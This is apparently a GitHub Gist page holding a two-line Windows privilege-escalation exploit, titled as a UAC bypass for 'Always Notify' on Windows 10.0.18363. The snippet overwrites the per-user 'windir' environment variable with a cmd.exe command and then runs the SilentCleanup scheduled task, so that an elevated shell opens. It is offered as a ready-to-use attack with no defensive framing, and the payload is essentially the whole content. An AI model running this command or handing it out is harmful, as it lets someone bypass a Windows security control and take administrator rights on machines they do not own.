Skip to content

Instantly share code, notes, and snippets.

@adenkiewicz
Created April 21, 2020 10:52
Show Gist options
  • Save adenkiewicz/fb85d000af8454bcf6db397d1acac487 to your computer and use it in GitHub Desktop.
Save adenkiewicz/fb85d000af8454bcf6db397d1acac487 to your computer and use it in GitHub Desktop.
UAC bypass for "Always Notify" on Windows 10.0.18363
New-ItemProperty "HKCU:\Environment" -Name "windir" -Value "cmd.exe /k cmd.exe" -PropertyType String -Force
schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment